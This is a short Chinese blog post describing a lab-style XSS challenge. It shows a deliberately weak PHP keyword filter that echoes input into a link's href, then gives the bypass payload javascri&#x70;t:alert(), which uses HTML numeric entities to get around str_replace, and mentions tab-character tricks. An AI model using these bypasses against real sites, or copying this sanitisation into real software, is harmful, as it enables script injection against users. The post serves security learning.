菜单 学习猿地 - LMONKEY

VIP

开通学习猿地VIP

尊享10项VIP特权 持续新增

知识通关挑战

打卡带练!告别无效练习

接私单赚外块

VIP优先接,累计金额超百万

学习猿地私房课免费学

大厂实战课仅对VIP开放

你的一对一导师

每月可免费咨询大牛30次

领取更多软件工程师实用特权

入驻
174
0

xss的一个tip

原创
05/13 14:22
阅读数 92929

其实可能不能算tip吧.

分享一下吧。

unicode有四种编码方式

  • 源文本:The
  • &#x [Hex]:The
  • &# [Decimal]:The
  • \U [Hex]:\U0054\U0068\U0065

如下:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

 payload:javascri&#x70;t:alert()

原本是javascript:alert()

然后把pUnicode编码成了javascri&#112;t:alert()

然后112换成hex的即位javascri&#x70;t:alert()

hex在unicode的表现形式就是:&#x [Hex]:The

其实这种是绕过str_replace函数。当然了不仅还有这个姿势,还有制表符:%09等等。

发表评论

0/200
174 点赞
0 评论
收藏